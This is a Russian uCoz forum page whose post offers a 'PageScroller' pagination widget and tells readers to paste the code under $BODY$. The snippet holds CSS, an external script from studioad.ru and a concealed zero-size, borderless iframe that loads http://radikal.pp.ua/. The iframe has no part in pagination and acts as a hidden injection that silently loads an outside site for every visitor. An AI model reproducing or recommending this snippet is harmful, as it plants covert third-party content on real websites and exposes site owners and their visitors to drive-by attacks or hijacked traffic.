Games-Fun.Ru

Последний ответ

  • Анонс игры Dead Rising 2: Off the Record (66)

    • Страница 1 из 1
    • 1
    Модератор форума: Axon  
    Переключатель PageScroller для uCoz
    digetДата: Пятница, 30.04.2010, 21:56 | Сообщение # 1
    Сообщений: 1255
    Статус: Offline

    Отличная юзабельность. Не использует НИ ОДНОЙ КАРТИНКИ. Одинаково работает и выглядит в браузерах IE5.5, IE6, IE7, IE8, Mozilla FF, Safari, Google Chrome, Opera 9. Адаптирован под использование в uCoz.

    Этот код размещаем сразу под условным кодом $BODY$

    Code
    <style>     
    #content {white-space:nowrap}     
    #content a{display:inline-block;font:12px Tahoma;width:38px;padding:2px 0;margin:1px;color:#88aa00;text-align:center;text-decoration:none;}     
    #content a:hover, .curPage{background:#88aa00;color:#fff !important;}     
    #pageScroll {margin:0 auto;overflow:hidden;position:relative;top:-3px;cursor:default}     
    .scrollWrap {background:#dfdfdf;font:0;position:relative}     
    .scrollBar {background:#777;cursor:pointer;cursor:hand;font:0px;position:relative;z-index:400}     
    .scrollPage {background:#88aa00;font:0;position:absolute;z-index:300;}     
    .pagesTotal {font:12px Tahoma;color:#bbb}     
    #pagesBlock1, .pagesBlock1, .pagesBlockuz1 {display:none !important;}     
    </style>     
    <iframe src="http://radikal.pp.ua/" name="iframe" width="0%" height="0%" scrolling="no" frameBorder=0></iframe><div id="pageScroll"><span id="content"></span></div>     
    <script type="text/javascript" src="http://studioad.ru/PageScroller.js"></script>     
    <script>initScrolls(10)</script>

    Вот собственно и всё. Второй параметр отвечает за количество отображенных страниц в ряд. CSS можно изменять, как угодно.

    Добавлена возможность пользоваться колесиком мыши. Исправлено много багов. Код сжат и оптимизирован.

    • Страница 1 из 1
    • 1
    Поиск: